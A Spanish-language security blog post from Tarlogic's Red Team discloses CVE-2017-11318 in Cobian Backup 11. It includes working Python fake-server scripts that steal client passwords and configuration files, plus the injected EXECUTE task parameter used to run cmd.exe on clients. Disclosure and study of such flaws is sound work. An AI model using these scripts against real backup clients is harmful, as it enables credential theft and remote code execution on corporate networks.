CVE-2017-11318: RCE en Cobian Backup 11

Inicio/Blog de ciberseguridad/CVE-2017-11318: RCE en Cobian Backup 11

Buscar por:

CVE-2017-11318: RCE en Cobian Backup 11

Durante una operación del Red Team de Tarlogic se descubrió una vulnerabilidad grave en el software Cobian Backup, cuya explotación permitió tomar el control de varias máquinas en una red corporativa.

Introducción

Cobian Backup es un software destinado a la creación de copias de seguridad con una gran variedad de opciones y utilidades. En redes corporativas se despliega con una arquitectura de clientes que reciben las tareas de backup desde un servidor maestro. Para conectar un cliente al servidor es necesario asignar una password.

Cliente conectado a servidor maestro

Cliente conectado a servidor maestro

Analizando brevemente el protocolo, y cómo funciona la lógica del programa, podremos observar numerosas deficiencias que pueden ser abusadas por un atacante.

Conexión del cliente al servidor

En primera instancia levantamos un sniffer para analizar el tráfico entre el cliente y el servidor (el servicio utiliza el puerto 16020 por defecto).

Conexión del cliente al servidor

Conexión del cliente al servidor

A simple vista ya podemos entender algunas características del protocolo:

  • No utiliza cifrado
  • Todo va en texto legible (A => 0041) y es bastante explícito, lo que facilita su entendimiento
  • Cada paquete de información intercambiada utiliza como separador interno de los datos el carácter “,” (002C)
  • Cada paquete es finalizado con la secuencia de salto de línea (000A 000D)
  • El cliente hace polling continuamente al servidor (paquete “REQUESTING”, seria un “ping”), y si no tiene ninguna orden a la espera el servidor le contesta con un pong en forma de “IDLE”

Otra característica que deberíamos de percibir rápidamente es el hecho de que en ningún momento el cliente le ha solicitado algún tipo de identificación o acreditación al servidor. Es decir, el cliente se está conectando ciegamente al servidor, lo que permite a un atacante establecer un esquema de man-in-the-middle y usurpar al servidor. Para comprobar esta teoría, procedamos a crear un miniservidor en python que imite el comportamiento observado en Cobian Backup:

# Cobian Backup 11

import socket
import signal
import sys
from thread import *

def signal_handler(signal, frame):
        print('You pressed Ctrl+C!')
        sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)


###### Socket data
host = ''
port = 16020 #Default

###### Server Packets
idle = "490044004c0045002c002c000d000a00"
password_ok = "500041005300530057004f00520044005f004f004b002c002c000d000a00"


###### Main
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
  sock.bind((host, port))
except socket.error as msg:
  print "Error: " + str(msg) + " - " + msg[1]
  sys.exit(1)
sock.listen(10)

while 1:
  conn, addr = sock.accept()
  print "[+] New client connected from " + addr[0]

  # 1) El cliente nos manda su password
  data = conn.recv(1024).split(",")
  print " -> Machine: " + data[2]
  print " -> Encrypted Password:\n" + data[1]

  # 2) Le respondemos que la password es valida
  conn.send(password_ok.decode("hex"))

  # 3) Bucle de ping-pong para mantener conectado el cliente
  while 1:	
    ping = conn.recv(1024)
    conn.send(idle.decode("hex"))

Y observamos como el plan ha funcionado correctamente. El cliente nos ha enviado la contraseña del servidor cifrada -aunque echando un vistazo en diagonal y haciendo un par de greps al código fuente de versiones antiguas parece ser que es una función reversible- y, adicionalmente, el cliente se mantiene conectado hasta que cerremos la conexión gracias a contestar sus pings.

Cliente conectandose a servidor spoofeado

Cliente conectándose a servidor spoofeado

Interactuar con los clientes

Dado que ha quedado demostrado que podemos spoofear al servidor maestro, la siguiente inquietud que debemos de resolver es: ¿podremos también ejecutar acciones en los clientes?. Tomemos por ejemplo la acción de ver la configuración.

Servidor solicitando el archivo de configuración a un cliente

Servidor solicitando el archivo de configuración a un cliente

Siguiendo nuestra teoría, si nosotros le envíasemos un GET_OPTIONS en el momento que nos mande un paquete REQUESTING, el cliente debería de devolvernos su archivo de configuración (cbEngine.ini).

# Cobian Backup 11

import socket
import signal
import sys
from thread import *

def signal_handler(signal, frame):
        print('You pressed Ctrl+C!')
        sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)


###### Socket data
host = ''
port = 16020 #Default

###### Server Packets
idle = "490044004c0045002c002c000d000a00"
password_ok = "500041005300530057004f00520044005f004f004b002c002c000d000a00"
get_options = "4700450054005f004f005000540049004f004e0053002c002c000d000a00"

###### Main
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
  sock.bind((host, port))
except socket.error as msg:
  print "Error: " + str(msg) + " - " + msg[1]
  sys.exit(1)
sock.listen(10)

while 1:
  conn, addr = sock.accept()
  print "[+] New client connected from " + addr[0]

  # 1) El cliente nos manda su password
  data = conn.recv(1024).split(",")
  print " -> Machine: " + data[2]
  print " -> Encrypted Password:\n" + data[1]

  # 2) Le respondemos que la password es valida
  conn.send(password_ok.decode("hex"))

  # 3) El cliente nos manda su REQUESTING
  ping = conn.recv(1024)	
  
  # 4) Nosotros le enviamos el "comando" GET_OPTIONS
  conn.send(get_options.decode("hex"))

  # 5) El cliente ahora nos deberia de devolver el contenido de su cbEngine.ini
  data = conn.recv(7000)
  print " -> Config:"

  # Recordemos que utiliza "," como separador de datos:
  config = data.split(",")
  for x in config[1:]:
    print x

  conn.close()

Al conectarse el cliente a nosotros, nos devuelve la configuración:

Nuestro servidor falso de Cobian Backup recibiendo la configuración de un cliente

Nuestro servidor falso de Cobian Backup recibiendo la configuración de un cliente

Por otra parte, si miramos los logs del cliente:

Log del cliente

Log del cliente

Si bien obtener la configuración es interesante, ya que pueden aparecer cuentas de FTP, dominio, mail, etc. que sean relevantes para el test de intrusión, nosotros queremos algo más contundente.

Ejecución remota de comandos en Cobian Backup

Desde el panel de control del servidor maestro podemos automatizar la creación de “tareas” encargadas de generar un backup según la configuración que se indique. Las tareas son enviadas al cliente designado en forma de plantilla con diferentes valores -dichos valores son los que hemos asignado desde la interfaz. Las tareas creadas se almacenan en la carpeta DB. Un ejemplo de tarea creada desde el servidor:

Ejemplo de plantilla de un backup programado

Ejemplo de plantilla de un backup programado

La cantidad de parámetros es enorme, resaltando rápidamente la posibilidad de configurar como destino un FTP externo. De esta forma podríamos, por ejemplo, utilizar Cobian Backup para exfiltrar archivos sensibles a través de ejecutar una tarea donde asignemos un FTP nuestro como destino de la copia de seguridad. Ésta es sin duda una posibilidad atractiva, sin embargo, al analizar el resto de parámetros configurables descubrimos una joya más interesante aun: los eventos pre y post backup.

Leyendo el foro de soporte de Cobian Backup vemos que estos parámetros permiten, entre otras cosas, poder ejecutar programas externos en el momento antes y después de hacer el backup. Por lo tanto nos están brindando la oportunidad de poder ejecutar comandos de forma remota en todos los clientes.

Seguimos el mismo modelo de trabajo una ocasión más, creamos la tarea manualmente en el servidor para poder interceptar el tráfico con un sniffer, y después la analizaremos para tratar de implementarla en un script en python.

Creación de una tarea de backup en un cliente

Creación de una tarea de backup en un cliente

Como podemos observar se envía la acción update_list junto con los parámetros de la tarea, incluyendo nombre. Si queremos añadir una nueva tarea que ejecute un comando nuestro a través de los eventos, deberemos de copiar la tarea de ejemplo y añadirle:

EXECUTE,C:\Windows\System32\cmd.exe,

Este parámetro abrirá una ventana con el cmd en el cliente cuando esta tarea se ejecute (esta información se puede leer en el foro de soporte de Cobian Backup). ¿Y cómo indicamos que queremos que la tarea recién creada se ejecute?

Servidor solicitando la ejecución de una tarea a un cliente

Servidor solicitando la ejecución de una tarea a un cliente

A través de “BACKUP_SELECTED” le indicamos el nombre (que nosotros mismos hemos asignado en la fase anterior, al crear la tarea) de la tarea que queremos ejecutar. Todo este pequeño abuso del protocolo que utiliza Cobian Backup está recogido en este script en python.

Si lo testeamos:

Cuando un cliente se conecta a nuestro Cobian Backup falso, se le envía una tarea de backup y se ordena su ejecución

Cuando un cliente se conecta a nuestro Cobian Backup falso, se le envía una tarea de backup y se ordena su ejecución

En el cliente veremos cómo se ha aparecido una ventana del cmd, indicándonos que el programa se ha ejecutado correctamente:

Prueba de concepto satisfactoria, hemos ejecutado un CMD en el cliente

Prueba de concepto satisfactoria, hemos ejecutado un CMD en el cliente

Conclusión

Una de las características más importantes del Red Team de Tarlogic es la dedicación a buscar vulnerabilidades en el software utilizado por nuestros clientes, siendo fruto de ello en muchas ocasiones el descubrimiento de 0-days. Algunos de ellos que puedan ser más interesantes os los mostramos en este blog (como el presente post, o como hicimos con el XSS Worm en una versión antigua de OpenText Tempobox, y otros únicamente los reportamos (como las vulnerabilidades descubiertas en AeroAdmin y utilizadas durante un pentest).

Siempre hay que tener en cuenta la posibilidad de que un atacante utilice vulnerabilidades no publicadas para comprometer una máquina. Es en este punto donde las medidas implementadas durante el bastionado deben de dificultarle el movimiento lateral y la escalada de privilegios.

By | 2017-07-20T09:13:54+00:00 20 Jul. 2017|0 Comments

Deja un comentario